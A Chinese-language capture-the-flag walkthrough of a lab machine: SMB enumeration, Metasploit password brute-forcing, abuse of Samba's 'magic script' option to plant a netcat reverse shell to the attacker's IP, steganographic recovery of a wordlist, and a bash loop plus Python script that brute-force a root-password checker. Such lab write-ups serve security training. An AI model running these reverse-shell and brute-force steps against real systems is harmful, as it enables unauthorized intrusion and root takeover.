搭建这个靶场的时候IP地址搜不到,经查阅发现是配置文件中网卡名称有问题,参考https://blog.csdn.net/qq_41918771/article/details/103636890进行修改。
先nmap一下:

开放了http服务和smb服务,那么针对smb,使用enum4linux进行信息收集:
enum4linux 192.168.190.164 -a
找到一个用户名albert:
以及共享文件:

目前没有其他可以利用的信息,那么试着对smb进行爆破:
msf6 > use auxiliary/scanner/smb/smb_login
选项设置如下:

run进行爆破,并获得用户名-密码为albert-bradley1:

使用smbclient进行smb文件访问:
smbclient //192.168.190.164/smbshare -U albert

但是里面很多命令都被禁止了,那么直接在kali端使用文件系统进行访问:

然后拖拽到本地,查看,可以看到对于我们正在访问的smbshare而言,有一个magic script,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件:

那么就可以自己写一个smbscript.sh,里面是一段反弹shell,然后上传到smb服务器:
echo "nc -e /bin/bash 192.168.190.150 9999" > smbscript.sh
将smbscript.sh put上去

然后成功监听到了反弹shell:

查找可以用来提权的文件:

这个/home/albert/beroot应该是一个可以利用的文件,运行一下试试:

看来是一个用来猜解root密码的文件,但是没有字典文件提供。
回想这个服务器还开放了HTTP服务,dirb一下:

存在robots.txt,进去看看:

发现一张图片,下载下来,使用stegoveritas进行分析(https://github.com/bannsec/stegoVeritas):
stegoveritas crossroads.png
并在分析结果的/results/keepers中发现有一个文件其实就是字典文件:

将该文件写入passwords.txt:
cat 1618375369.272224-f46a4fa787ba43cb11e9d00e6a6f83d4 > /root/passwords.txt
然后通过smb把passwords.txt上传上去:
![]()
把passwords.txt拷贝到/home/albert中,然后直接在shell中执行命令:
for i in $(cat passwords.txt); do echo $i|./beroot; done

进行暴力破解,
可以看到最后生成了一个rootcreds,里面应该就是root的密码:

直接su root,提权成功:

获得最后的flag:

其实还有一个flag在albert的用户文件夹下,不过之前没注意:

之前暴力猜解beroot程序的过程也可以通过python脚本实现:
/usr/bin/python3
//参考:https://www.sec-in.com/article/1009 import subprocess import os import time import sys path = '/usr/bin/echo' content = "wrong password!!" blank = " " executable = "beroot" def broot(): os.system("export TERM=xterm") with open("passwords.txt","r",encoding="ISO-8859-1") as file: words = file.read().splitlines() //读取字典条目 for word in words: //遍历字典 execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable) //利用getoutput函数执行系统命令,运行beroot,并返回执行结果 print(execute) if content not in execute: print("[!]Password:" + word) //打印正确密码 sys.exit(0) broot()
参考:
https://www.sec-in.com/article/1009
浙公网安备 33010602011771号